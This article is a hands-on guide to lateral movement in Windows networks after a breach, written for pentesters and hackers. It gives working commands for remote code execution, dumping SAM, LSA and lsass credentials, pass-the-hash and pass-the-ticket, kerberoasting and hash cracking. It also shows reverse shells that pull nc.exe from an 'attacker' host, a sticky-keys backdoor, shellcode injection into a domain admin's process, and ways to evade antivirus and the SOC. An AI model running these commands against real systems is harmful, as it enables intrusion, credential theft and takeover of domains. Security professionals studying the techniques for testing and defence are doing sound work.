Lateral movement guide: Remote code execution in Windows

Penetration into the target network is just the first stage of a hacking attack. At the next stage, you have to establish a foothold there, steal users’ credentials, and gain the ability to run arbitrary code in the system. This article discusses techniques used to achieve the above goals and explains how to perform lateral movement in compromised networks.

After penetrating the external perimeter and getting into the internal corporate network, you have to expand your presence there. Surprisingly, but the larger is the internal corporate network, the easier can it be hacked. And vice versa, if the company is very small, its network may be extremely difficult to hack. Why is it so? The reason is simple: the larger is the network, the more vulnerable or misconfigured components it contains. In most cases, the compromise of a single node enables you to compromise multiple nodes adjacent to it at once.

Internal networks mostly consist of Windows servers and workstations. For attackers, this OS is of utmost interest because by default, it includes numerous interfaces for remote code execution. Furthermore, the attacker can extract user’s credentials from the system in multiple ways. Lateral movement between Linux servers is beyond the scope of this article: they are rarely included in domains and don’t offer such a broad range of default interfaces for remote administration. From the lateral movement perspective, a Linux PC is of interest only as a handy foothold.

Important: lateral movement involves 100% legitimate remote code execution. Accordingly, all techniques addressed in this article are based on the assumption that you have a valid account for a given PC. Furthermore, in many situation, an admin account is required.

When you perform lateral movement, your main priority is to attract as little attention from users and the security service as possible and avoid being detected by antivirus programs. The best way is to use the standard OS tools that are perfectly legitimate and indistinguishable from actions performed by network admins.

This article is not about numerous vulnerabilities plaguing Windows, or attacks on local networks, or privilege escalation in the Active Directory environment. It’s dedicated exclusively to legitimate aspects of a hacking attack: where to look for account credentials in Windows and what to do with them. The techniques addressed in it are not vulnerability exploits per se, but just tricks by design: if implemented properly, these procedures are perfectly legal.

The examples below are based on real situations you may encounter while exploring real-life internal networks. First, I am going to explain how to make your movement as quiet as possible and bypass antiviruses, and then I will separately address network ports required for that.

Lateral movement strategy

Lateral movement combines two techniques:

  • authenticated remote code execution; and 
  • extraction of confidential information after gaining access.

Cyclical and sequential repetition of these steps sometimes allows to advance from a single compromised PC to the entire network infrastructure. Normally, lateral movement is performed to achieve one of the following goals:

  • seize control over the domain controllers;
  • reach to isolated critical network segments (e.g. the automatic process control system, SWIFT, etc.); or 
  • search for critical information stored on a certain PC (confidential documents, billing data, etc.).

However, to achieve any of these goals, more and more credentials are required so that you can navigate through the network and gain access to more and more PCs. In most situations, to move freely through the internal network, you have to take over the domain controller: after doing so, you automatically gain access to nearly all nodes on the network. Speaking of admins hunting, after reaching to the domain controller, it might seem that the search for privileged accounts is limited to blind guessing. But in fact, the Active Directory infrastructure and Windows itself disclose enough information to an ordinary domain user, so that you can identify the right movement direction and plan a sophisticated chain of hacks in the very beginning of lateral movement.

Sometimes, after taking over the domain controllers, you have to continue the movement to reach to a certain heavily guarded segment containing so-called ‘business risk’ objects. This might be a segment of the automatic process control system, interference into a technological process, access to a SWIFT segment (if you deal with a bank), access to the principal general’s computer, etc. In each case, you may encounter various lateral movement-related issues discussed below.

Remote code execution in Windows

Below is an overview of tools that allow you to remotely execute arbitrary code on Windows systems using an existing account. Some of these programs support a handy interactive mode, while other just blindly run commands without displaying the result. This overview covers both handy and commonly used tools and less popular – but still capable to execute your code – ones.

Some of these utilities upload an executable service file to the target system to provide you with a handy interactive mode. But the problem is that such services are often blocked by antiviruses. The attacker’s IP can be blocked as well, which significantly slows down your movement. Furthermore, SOC becomes aware that somebody has penetrated into the network.

The lateral movement will mostly be performed using an amazing Python collection called impacket. To install it, run the command pip install impacket. After the installation, the required executable files will be stored in the folder impacket/examples; to find it, type: pip show -f impacket.


This is a DCERPC implementation by Microsoft. It expands open-source DCERPC by adding to it access over the SMB protocol via named pipes and primarily uses TCP port 445. The auxiliary/scanner/smb/pipe_auditor module will determine what named pipes are available over SMB.


  • Source: sysinternals
  • AV risk: no 
  • Used ports: 135, 445, 4915x/TCP

Speaking of remote code execution on Windows, I cannot omit the well-known psexec utility created by Mark Russinovich. The program is equally popular among administrators and pentesters. It copies the executable file via the network resource ADMIN$ (445/TCP) and then remotely creates and launches a service for this executable file via DCERPC (135,4915x/TCP). When the service is launched, you get a regular networking interaction with a remote command line:

psexec.exe -u admin \\target cmd

The main advantage of the program is that the server component, psexecsvc.exe, is signed by the Sysinternals certificate belonging to Microsoft (i.e. the software is 100% legitimate). Another advantage of the classical psexec.exe is the ability to execute code in specified user sessions:

psexec.exe -u admin -i 2 \\target shutdown /l

  • Source: impacket Python collection
  • AV risk: yes
  • Used ports: 445/TCP

A great alternative for Linux users. However, this tool will most probably alert the antiviruses. As said above, this is because of the service copied to the remote host. The problem can be fixed by specifying an arbitrary command in the implementation of the createService() method in /usr/local/lib/python3.7/dist-packages/impacket/examples/; this command will be executed instead of the launched remote admin service.

Arbitrary command conceals the launch of the remote admin service
Arbitrary command conceals the launch of the remote admin service

To prevent from copying the suspicious component, you forcefully specify the file that must be used as a service. Because you have already written the command manually, this file can be anything. -file somefile.txt admin@target

As you can see, the mkdir c:\pwn command has been executed, which won’t ring the alarm bells for antiviruses. However, this psexec modification lacks the usability present in its initial version.


  • Source: winexe
  • AV risk: yes
  • Used ports: 445/TCP

An older native analogue of psexec for Linux. Similar to psexec, opens a remote interactive command line:

winexe -U admin //target cmd

The utility is similar to other such tools, but it’s more rarely detected by antiviruses. Of course, winexe isn’t 100% secure, but it can be used if, for some reason, doesn’t work.

  • Source: impacket Python collection / built-in Windows component
  • AV risk: yes
  • Used ports: 445/TCP

A simplified version of psexec; it also creates a service, but uses for this purpose only MSRPC, and the service is controlled via the svcctl SMB pipe: -mode SHARE admin@target

As a result, you gain access to an interactive command line.

  • Source: impacket Python collection
  • AV risk: no 
  • Used ports: 445/TCP

An even simpler version of psexec. You have to manually perform operations that psexec performs automatically. To view the list of services, type: admin@target list

Then create a new service and specify an arbitrary command: admin@target create -name 1 -display 1 -path 'cmd arg1 arg2'

Next, run the newly-created service: admin@target start -name 1

And finally, cover-up the traces and delete the service. admin@target delete -name 1

This remote command execution technique is noninteractive – you cannot see results of your actions. But it’s 100% secure and I used it many times in situations when antiviruses installed on the remote host have killed all my hacking tools.

  • Source: impacket Python collection / built-in Windows component
  • AV risk: no 
  • Used ports: 445/TCP

This a Windows Task Scheduler service available via the atsvc SMB pipe. It allows you to remotely add to the scheduler a task that will be executed at the specified time.

At.exe is another noninteractive RCE technique. When you use it, the following commands are executed blindly:

at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

By contrast,, allows you to see the output of the executed command: admin@target ipconfig

The only difference is that the command output is sent to a file and read using ADMIN$. To use this tool, you must ensure that the clocks on the attacking PC and on the target PC are synchronized to the exact minute.


  • Source: Windows component
  • AV risk: no 
  • Used ports: 445/TCP

Remote access to the registry with writing permissions effectively grants you the RCE capacity. The utility uses the winreg SMB pipe. By default, the remote registry service is running only on server operating systems (Windows 2003-2019). Below is a popular trick involving the startup (delayed RCE):

reg.exe add \\target\HKLM\software\microsoft\windows\currentversion\run /v testprog /t REG_SZ /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

The trick uses the program launch handler. If this program is frequently run on the target PC, you will get RCE almost instantly:

reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t reg_sz /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

My favorite trick involving a backdoor in RDP:

reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"


DCERPC uses ports 135/TCP and 4915x/TCP (4915x are dynamically assigned ports). In some cases, ports from other ranges can be used as well.

In many companies, network admins and security specialists – who are aware of the most common attack vectors – simply block port 445/TCP as a mitigation, thus, making psexec and many other techniques unusable. However, as said above, Windows offers multiple ways for remote code execution, and DCERPC provides an alternative (in some situations, it even opens access to the same RPC interfaces). In fact, you use not DCERPC itself, but other tools based on its technology (e.g. WMI).

  • Source: impacket Python collection
  • AV risk: yes
  • Used ports: 135, (445), 4915x/TCP

The script allows you to execute code in the interactive mode: admin@target

Even though doesn’t run any third-party executable files on the remote host, antiviruses sometimes detect it. In addition, retrieves results from the ADMIN$ share (i.e. uses port 445/TCP). Therefore, blind RCE is a more secure variant: -nooutput admin@target "mkdir c:\pwn"

  • Source: impacket Python collection
  • AV risk: no 
  • Used ports: 135, (445), 4915x/TCP

This tool is similar to By default, it’s interactive and retrieves results from ADMIN$ via port 445/TCP: admin@target

To avoid the need to use port 445/TCP, you may execute your code blindly: -nooutput admin@ "mkdir c:\123"


  • Origin: wmi-client and wmis packages
  • AV risk: yes
  • Used ports: 135, 4915x/TCP

The wmis utility is present in two packages of the same name. To run it, use the following command:

wmis -U admin //target "mkdir c:\pwn"

There are no principal differences between the two versions with one exception: one of them may fail to work in your case.


  • Origin: Windows component
  • AV risk: no 
  • Used ports: 135, 4915x/TCP

A funny out-of-the box way to blindly execute code on all Windows versions:

wmic.exe /user:username /password:s3cr3t /node:target process call create '"c:\1.bat"'

This is the only Windows command that noninteractively receives the username and password via options, which means that you can run it from anywhere. Later, I will show how to use this command to attack admin’s sessions.


  • Origin: Windows component
  • AV risk: no 
  • Used ports: 135, 4915x/TCP

The purpose of this tool is remote administration of services and drivers. Similar to the utility, you can run an arbitrary command when you create a service:

sc.exe \\target create testservice binPath= \path\to\prog start= auto
sc.exe \\target start testservice

But unlike, sc.exe uses different ports because DCERPC is involved here.


Windows Remote Management is a relatively new tool introduced in Windows 7/2008. It uses HTTP and runs by default only on Windows Server 2012-2019; on client versions (i.e. Windows 7-10), it has to be enabled manually. The technique is pretty efficient if your primary goal is a domain controller running on Windows Server.


  • Origin: evil-winrm Ruby package
  • AV risk: no 
  • Used ports: 5985/TCP (5986/TCP)

Provides an interactive shell:

evil-winrm -u admin -i target


  • Origin: Windows component
  • AV risk: no 
  • Used ports: 5985/TCP (5986/TCP)

Using this built-in Windows component, you can gain interactive remote access:

c:> winrs.exe -u admin -r:target cmd

In addition, PowerShell can be used to execute command and commandlets:

PS:> Enter-PSSession -ComputerName target -Credential admin
PS:>Invoke-Command -ScriptBlock {ipconfig;get-process} -ComputerName (Get-Content targets.txt)


  • Origin: freerdp2-x11 and rdesktop packages, mstsc.exe Windows component, etc.
  • AV risk: no 
  • Used ports: 3389/TCP

This remote code execution technique is neither handy nor very promising from the Pass-the-Hash/Pass-the-Ticket perspective; but it works out-of-the box on nearly all Windows versions:

xfreerdp /u:admin /v:target
rdesktop -u admin target
mstsc.exe /v:target


Group policies can help in remote code execution on heavily guarded computers completely hidden behind a firewall or located in isolated networks. Group policies are used when the domain has already been taken over, and you need to move on.

An advantage of group policies in comparison with the described above methods is that they use a sort of the reverse-connect scheme. To use the above techniques, you have to initiate the communication and need open ports on the target host (e.g. 135, 445, 3389, 5985, and 4915x), but all you need to use group policies is access to the DC. The DC normally isn’t hidden behind firewalls; so, you shouldn’t have any problems with its administration.

Using gpmc.msc you create a group policy for the required container. Dsa.msc will help to identify the container storing your target. After creating the policy, you attach a VBS script with arbitrary code to the logon event. Then you have to wait until the user logs into the target system again – and voila! You have got RCE.

Critical components of the internal infrastructure (e.g. the domain controller) are often protected by SIEM. Any changes in its configuration, including creation of new group policy objects, can be monitored and would likely ring the alarm bells for the security team. Therefore, instead of creating a new group policy, it is preferable to find an existing one and inject the required code into the script located in the SYSVOL share.

The table below summarizes the strengths and weaknesses of different authenticated code execution techniques in their default variants (i.e. without modifications).

Every hacker has a set of favorite tools. But in some situations, you preferred technique may fail, and you must be able to execute arbitrary code using alternative methods. The above table can be used for reference purposes.

As can be seen, the most ‘stealthy’ RCE techniques are Windows components (winrs.exe, sc.exe, reg.exe, at.exe, wmic.exe, and psexec.exe), but not of them are handy. The sc.exe, reg.exe, and at.exe utilities don’t support the username transmission via options; therefore, to use them, you have to run cmd on behalf of the target user, while in case of a local account, you must create it first.

Done with authenticated code execution (i.e. legitimate RCE on behalf of an existing account). Now it is time to discuss where to look for these accounts and what are their formats.

Local accounts

Windows authenticates users without distinguishing the letter case in usernames: ADMIN and admin look the same for it. This applies both to local and domain accounts.

The main idea behind the use of local accounts is that the same password can be used on several PCs and servers. Sometimes, such local accounts bring you directly to the admin’s PC or to the domain controller.

Local users’ credentials, as well as NTLM hashes, are stored in the registry; the path to them is HKLM\sam. SAM (Security Account Manager) is a separate registry hive located, together with other hives, at \windows\system32\config\. Interestingly, even admins (except for the system) cannot access HKLM\sam using regedit.exe or by directly copying a file from the system directory. However, the reg.exe command enables you to do this. The point is that system files are extracted using built-in OS components and subsequently analyzed on your PC. This ensures that your actions won’t alert the antiviruses.

To extract local accounts’ credentials, you will need two registry hives:

reg.exe save hklm\sam sam
reg.exe save hklm\system system

To extract hashes of local accounts on your computer, use creddump7\

creddump7\ system sam

Alternatively, you can use the above-mentioned impacket collection. -system system -sam sam LOCAL

A fully automated approach involving access via remote registry looks as follows: admin@target

As a result, you get hashes in the format Username:RID:LM-hash:NTLM-hash:::. In newer versions (starting from Windows 7/2008R2), the LM hash may be empty (i.e. may have the value aad3b435b51404eeaad3b435b51404ee) because LM hashes aren’t used anymore for security reasons. The NTLM hash of a blank password is 31d6cfe0d16ae931b73c59d7e0c089c0. When you perform lateral movement and locate plenty of hashes, such hashes should be immediately discarded because the blank password restriction won’t allow you to log on remotely.


Windows has a well-known (and pretty funny) feature enabling you to use an NTLM hash for authentication (i.e. you don’t have to brute-force it and retrieve the password).

All the extracted NTLM hashes (except for 31d6cfe0d16ae931b73c59d7e0c089c0) can be used for authentication to the following services:

  • MSRPC (SMB);
  • WINRM;
  • MS SQL;
  • RDP (Windows 2012 R2 and Windows 8.1 only);
  • LDAP;
  • IMAP;
  • HTTP.

Normally, RCE is possible only for the first five services from the above list; while for the three remaining ones, NTLM relay attacks are more suitable. All the above-mentioned tools from the impacket collection support the transmission of hashes: both as LM:NTLM and as an NTLM hash: -hashes LM:NTLM admin@target -hashes :NTLM admin@target

Kali distributions include nine popular Pass-the-Hash tools; all of them start with pth-:

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
pth-winexe -U admin% //target cmd
pth-wmic -U admin% //target "select Name from Win32_UserAccount"
pth-wmis -U admin% //target "cmd.exe /c whoami > c:\out.txt"
pth-smbclient -U admin% //target/c$
pth-rpcclient -U admin% //target
pth-sqsh -U admin -S target
pth-curl http://target/exec?cmd=ipconfig
pth-net rpc group ADDMEM 'Administrators' username -S target -U domain/user

Starting with the version xfreerdp v2.0.0 (and only on Windows 2012 R2 and Windows 8.1), it’s possible to authenticate with an NTLM hash over RDP:

./client/X11/xfreerdp /v:target /u:admin /pth:31d6cfe0d16ae931b73c59d7e0c089c0

Fortunately, the modern WinRM works fine as well:

evil-winrm -i target -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0

The above examples involve Pass-the-Hash for Linux. But it’s also possible to use RCE tools written for Windows (psexec.exe, at.exe, reg.exe, wmic.exe, sc.exe, and winrs.exe) in Pass-the-Hash attacks; you just have to create a temporary session using mimikatz:

mimikatz# sekurlsa::pth /user:administrator /domain:. /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0

A cmd window pops-up, and the required NTLM hash will be automatically inserted for any called program:

dir \\target\c$

By the way, you can compute the NTLM hash for a passphrase by yourself:

import hashlib,binascii,sys
if len(sys.argv) == 1:
print binascii.hexlify('md4', raw_input().decode('utf-8').encode('utf-16le')).digest())
print binascii.hexlify('md4', sys.argv[1].encode('utf-16le')).digest())

Brute force

If you have to authenticate to a service that doesn’t support Pass-the-Hash (e.g. RDP), you may try to brute-force the password at a high enough speed. LM hashes have a limited number of input values, are encrypted in halves 7 bytes each, and are case insensitive. In other words, any LM hash can be cracked. The situation with NTLM hashes is more complicated.


The best way to brute-force LM hashes is to use ophcrack rainbow tables:

ophcrack -g -d /opt/rainbows/LM -t xp_special,0,1,2,3 -f hashes-lm.txt

Alternatively, you can use a classical brute-forcing technique with a wordlist:

john --format=lm --wordlist=/usr/share/wordlists/rockyou.txt hashes-lm.txt

In the past, there used to be an excellent Chinese resource that could convert any LM hash into plain text.


Hashcat and John require NTLM hashes to be inputted in different ways. For Hashcat, the command is as follows:

hashcat -a 0 -m 1000 hashes_ntlm.txt /usr/share/wordlists/rockyou.txt
hashcat -a 3 -m 1000 hashes_ntlm.txt -1='?u?d?l' '?1?1?1?1?1?1'

For John, it is:

john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes_ntlm.txt

The LM and NTLM hashes for domain users can be found by analyzing the memory of the lsass.exe process or in the ntds.dit database. Such hashes are never transmitted over the network ‘as is’; instead, they are sent as NetNTLM/NetNTLMv2 hashes unsuitable for Pass-the-Hash attacks. These hash types are single-use and can be used only at the time of transmission (the NTLM relay technique). Alternatively, they can be brute-forced at a high enough speed.

Kerberos tickets

To use Kerberos tickets for authentication, you will need access to port 88/TCP on the domain controller.


The kerberoasting technique is very useful because it allows to compromise accounts of domain admins, as well as other service accounts. To perform this attack, you need to control any domain account.

The main idea of the attack is that you impersonate a valid domain user and legitimately extract from the domain controller a Kerberos service ticket (TGS ticket) for a certain service. Such tickets are encrypted using the password (i.e. NTLM hash) of the user you impersonate and hence can be brute-forced offline using a wordlist. Accordingly, your goal is to extract such a ticket by all means.

To identify all users whose TGS tickets can be extracted, use a LDAP search filter:


A classical kerberoasting attack can be performed in many ways, for instance, with impacket (if you use a Linux machine): -request -dc-ip

If you work on Windows, use Rubeus.exe for this attack:

Rubeus.exe kerberoast /outfile:hashes.txt

Antiviruses rarely detect Rubeus. But when it comes to post-exploitation, be prepared for all kinds of problems. It might happen that you penetrate into the internal network through a Windows PC, and your actions will be limited to the scarce arsenal provided by this OS.

A kerberoasting attack can also be performed using such a basic Windows component as PowerShell:

PS> setspn -T -Q */*
PS> Add-Type -AssemblyName System.IdentityModel
PS> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/"
PS> klist

But the problem is that it’s Windows, not you, who gets the tickets in this case. They will be saved in the memory, and it’s impossible to dump them in the form suitable for brute-forcing using standard OS means.

Extracting Kerberos tickets by dumping virtual memory

If the antivirus software doesn’t allow you to use the above tools, you can dump the memory of the lsass.exe process. This can be done in three ways:

  • taskmgr.exe → right-click on lsass.exe → memory dump;
  • rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full; or 
  • procdump.exe -ma lsass.exe /accepteula.

After dumping the memory, you can securely extract the tickets from it on your PC:

sekurlsa::Minidump lsass.dmp
sekurlsa::tickets /export

However, in some cases, antiviruses prevented me from reaching to lsass.exe (which is perfectly understandable).

Extracting Kerberos tickets by dumping physical memory

If you cannot reach to a process, you may dump the entire physical memory using a utility from the open-source rekall forensic framework:

winpmem.exe --mode MmMapIoSpace --format raw --output

The resultant dump will be several gigabytes in size. To extract the tickets from it, you will need WinDbg and the mimilib.dll plugin:

windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz

Extracting Kerberos tickets from network traffic

This elegant solution involves the extraction of tickets from the network traffic at the time of their download:

TCPdump.exe -i 1 -nn -w out.pcap
./[]( -f out.pcap -w out.txt

Brute-forcing TGS

Brute-force attacks can be used only against Kerberos TGS (Ticket Granting Service) tickets because these tickets are encrypted with the user’s password:

john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes-tgs.txt
hashcat3 -a 0 -m 13100 hashes-tgs.txt /usr/share/wordlists/rockyou.txt

The brute-forcing speed is high enough: over 1 million passwords per second (<span class="katex-mathml"><math xmlns=""><semantics><mrow><mi>kmi><mi>rmi><mi>bmi><mn>5mn><mi>tmi><mi>gmi><mi>smi>mrow><annotation encoding="application/x-tex">krb5tgsannotation>semantics>math>krb5tgs23 RC4).


If you have a Kerberos TGT (Ticket Granting Ticket), you can use it for authentication. Note that Linux and Windows use different ticket formats: ccache and kirbi, respectively. Initially, the tickets can be presented in any of these formats: this depends on the OS you have extracted them from. The techniques described below allow to use tickets on any OS regardless of their initial format.

To import tickets in the kirbi format to a Windows system, use the following approach:

mimikatz# kerberos::ptt c:\path\to\tgt.kirbi

To import tickets in the ccache format:

mimikatz# kerberos::ptс c:\path\to\tgt.ccache

After the import, use any program you need without specifying any keys:

dir \\\c$

On Linux systems, Pass-the-Ticket is performed for tickets in the ccache format as follows:

cp tgt.ccache /tmp/krb5cc_0

Linux doesn’t understand the kirbi format; therefore, the ticket must be first converted into ccache using kekeo.exe:

kekeo.exe "misc::convert ccache ticket.kirbi" "exit"

After importing the tickets, use them as follows:

smbclient -k //$
winexe -k yes -N // cmd

Tools from the impacket collection can use tickets without their prior import.

KRB5CCNAME=`pwd`/tgt.ccache -k -dc-ip
KRB5CCNAME=`pwd`/tgt.ccache -k -no-pass
KRB5CCNAME=`pwd`/tgt.ccache -k -no-pass -dc-ip
KRB5CCNAME=`pwd`/tgt.ccache -k -no-pass -dc-ip list

To use a Kerberos ticket for authentication, you must address the target by name, not by its IP address.

Domain accounts

Domain accounts are your top-priority targets in the domain infrastructure of companies that use Active Directory. Furthermore, domain accounts ultimately bring you to the domain controller.

Domain Credential Cache

Domain Credential Cache is a registry hive where all successful logons into the system on behalf of domain accounts are recorded – in case the domain controller becomes inaccessible in the future. This cache can be dumped using one of the above-mentioned commands:

reg.exe save hklm\security security
reg.exe save hklm\system system

The cache stores hashes of domain accounts. To extract them, use the following command:

creddump7\ system security true

On old Windows versions, creddump7 sometimes fails to dump the hashes; in such situations, use its old variant, creddump:

creddump\ system security

In a similar way, you can use a tool from the impacket collection: -system system -security security LOCAL

There is also a chance to extract saved service passwords in the plain text format from this cache:

creddump7\ system security

When you perform lateral movement, chances are high that you encounter domain admin account credentials in the cache. Note however that since this is a cache, no one can guarantee that the password wasn’t changed after the caching.

There are two versions of the Domain Credential Cache: dcc1 (mscash1) and dcc2 (mscash2). These hash functions have the same length, and if you don’t know the OS version, you may spend plenty of time on unsuccessful password guessing. On Windows XP/2003, it’s dcc1:

john --format=mscash hashes_dcc.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 1100 hashes_dcc.txt /usr/share/wordlists/rockyou.txt

On Windows Vista/2008-10/2019, it’s dcc2:

john --format=mscash2 hashes_dcc2.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 2100 hashes_dcc2.txt /usr/share/wordlists/rockyou.txt

Overall, Windows XP/2003 are more suitable for lateral movement because the dcc1 hash function used by these systems is 3000 times weaker and hence more vulnerable to brute-forcing attacks. Therefore, if a domain admin has once logged into an obsolete Windows version a long time ago, this operation has significantly compromised the security of the entire infrastructure. Consider this yet another reason to get rid of old Windows versions.

Credentials in active sessions

Domain account credentials are also stored in the memory of the lsass.exe process. This applies only to sessions that are currently active. To check the list of users and their processes, use the built-in qprocess * command.

Such tools as mimikatz.exe and wce.exe can extract from active sessions hashes and passwords in the plain text format:

mimikatz.exe privilege::debug sekurlsa::logonPasswords

But, for some reason, antiviruses don’t like these programs. Therefore, the best way is to use memory dump techniques.

Dumping virtual memory

Dump the memory using one of the above-described techniques. Then use mimikatz:

sekurlsa::Minidump lsassdump.dmp
Dumping physical memory

As said above, antivirus programs can protect lsass.exe from your incursions and prevent you from dumping the process. In such situations, use the winpmem.exe utility to dump the entire physical memory. Antiviruses rarely detect the physical memory dump procedure because it doesn’t involve WinAPI calls: the memory is directly read in the kernel mode.

Then the dumped memory is analyzed on your PC using WinDbg and a special module created for it by the author of mimikatz:

windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz

In addition, the popular Volatility forensic framework has a module specially designed for this purpose:

volatility --plugins=/path/to/volatility_plugins/FrancescoPicasso -f pmem.img mimikatz
Hardware isolation of lsalso.exe

On modern versions of Windows, you may encounter lsalso.exe, a process protected by the virtualization technology. Of course, there are some techniques involving the registration of the LSASS provider:

mimikatz.exe misc:memssp

Then you’ll have to wait until the admin logs into the system again. The credentials entered by the admin will be recorded in c:\windows\system32\mimilsa.log.

But the question is: do you really need this domain admin’s password? Just think: you have authenticated to the server under one account and want to get a password to another account. But on this particular PC, your account and the admin account are at the same level: both of you are local admins of this PC. In other words, you can interact both with the home directory of the target account and with the memory of its processes.

To be specific, you can inject code into the memory of processes running on behalf of the domain admin and run arbitrary threads in them. To do so, you have to generate a shellcode with an arbitrary command, inject it into any process running on behalf of the target user, and execute the command on behalf of the domain admin. You don’t even need the admin’s password for this operation:

msfvenom -p windows/exec CMD="wmic /node: process call create 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"'" -f raw -e x86/alpha_mixed -o shellcode.txt exitfunc=thread

As you can see, I generated a shellcode that will use WMI to execute a command activating sticky keys on the domain controller. The shellcode must look as innocent as possible: in this particular case, it’s coded in ASCII commands and impersonates a text file. Normally, antiviruses don’t attack such stuff.

Now all you have to do is select a process running on behalf of the domain admin using the qprocess *. command. The processes of the domain admin are running in a parallel RDP session (sometimes, such sessions can be even left forgotten). You can use, for instance, explorer.exe as the target. Then you allocate some memory in it, write your shellcode there, and run a flow with shellcode_inject.exe:

shellcode_inject.exe PID shellcode.txt

Congrats! You have just injected code into the domain admin’s context, and this code remotely executed a command opening a backdoor. Now you can connect to this domain:


And a familiar picture appears.

Shellcode injected into an admin
Shellcode injected into an admin’s process activates a backdoor on the domain controller

You gained access to the domain controller and can now replicate domain accounts, including the krbtgt system account. Using it, you can generate a Kerberos TGT ticket belonging to that same admin and authenticate on behalf of this admin without knowledge of their password (this technique is called golden ticket).

The table below summarizes the properties of various types of Windows hashes and their application areas.

Lateral movement

To perform lateral movement, you need account credentials in one of the following forms:

  • passwords in plain text;
  • NTLM hashes; or 
  • Kerberos tickets.

Below I will show how to use these credentials against numerous targets at once.

Credentials spraying

Lateral movement normally involves massive code execution (i.e. execution of the same command on a group of targets). This operation is often performed blindly, especially at the initial stage when you have no idea how to obtain admin’s credentials.

Therefore, you must be able to execute the code in different ways not on a single PC, but on a group of targets. In my opinion, the best tool for this is crackmapexec. The program supports a broad range of functions, including brute-forcing and many other features that are beyond the scope of this article.

The syntax for local accounts is as follows:

cme smb -d . -u username -p password targets.txt

For domain accounts, it is:

cme smb -d domain -u username -p password targets.txt

Note that any argument can be either a value or a file containing a list of values. Prior to starting massive code execution, you have to find out what accounts have access to what PCs.

For a specific account, you can check its permissions for a group of targets at once:

cme smb -d . -u admin -p passwd --shares targets.txt 2>&1 | grep Pwn3d

But when you perform lateral movement, you normally deal with dozens and even hundreds of accounts. Fortunately, new versions of cme allow you to check combos:

cme smb -d domain -u users.txt -p passwords.txt --no-bruteforce --continue-on-success --shares targets.txt 2>&1 | grep Pwn3d
cme smb -d domain -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --shares targets.txt 2>&1 | grep Pwn3d

All account credentials that match something are saved in the database and can be accessed using the cmedb command. It can also be used to access the SMB protocol database:

cmedb> proto smb

List of saved account credentials:

cmedb> creds

List of hosts the program has attempted to authenticate to:

cmedb> hosts

The saved credentials can be subsequently used for authentication in cme by specifying their IDs:

cme smb -id 7 --shares targets.txt

Massive code execution

At some point, you may need to run a program on a group of targets. To execute a command on a single host, you use psexec and other similar utilities, but the best tool for massive execution is cme. To execute a simple command, use the following directive:

cme smb -d . -u admin -p s3cr3t -x 'ipconfig' targets.txt

To execute PowerShell commandlets:

cme smb -d . -u admin -p s3cr3t -X 'Get-Service' targets.txt

To execute commands in different ways:

cme smb --exec-method smbexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme smb --exec-method wmiexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme smb --exec-method atexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme winrm -d . -u admin -p s3cr3t -x ipconfig targets.txt

Using the Pass-the-Hash technique on a group of targets:

cme smb -d . -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'ipconfig' targets.txt

Using the Pass-the-Ticket technique on a group of targets:

KRB5CCNAME=$(pwd)/tgt.ccache cme smb -k -u admin -x 'ipconfig' targets.txt

In addition, cme makes it possible to automate the retrieval of local account credentials and the Domain Credential Cache:

cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --sam targets.txt
cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --lsa targets.txt

This command can automate nearly all described-above operations: it effectively retrieves whatever is possible using each and every account. Furthermore, crackmapexec has additional modules that extend its functionality. For instance, the mimikatz module can be used for mass extraction of domain account credentials from active sessions:

cme smb -M mimikatz -id 8 targets.txt

But I don’t recommend using this module in real-life situations because antiviruses often detect it.


Windows has many features enabling you to ‘jump’ from one host to another one. Many of these tricks (e.g. PTH) technically can be considered vulnerabilities, but Microsoft doesn’t want to fix them. As a result, these features became valuable additions to the pentester’s arsenal.

It sounds paradoxical, but security of many internal networks can be improved by getting rid of Active Directory. There was an illustrative case in my experience when a huge internal network consisting of 140,000 PCs was taken over in 1.5 days. By contrast, a tiny company of ten people that wasn’t using Active Directory couldn’t be hacked in five days.

It’s hard to imagine a company able to withstand the combination of all described-above techniques. Too many things are not obvious for admins and can be inadvertently omitted, while a single error can result in the collapse of the entire infrastructure.

A network with Active Directory is an ecosystem with a single center: the domain controller. To compromise it, you don’t have to deliver a frontal attack on the network. Domains are normally compromised not because of software vulnerabilities, but due to primitive flaws: either there are too many admin accounts, or they are used excessively, or same passwords are used for local accounts, or the passwords are just weak…

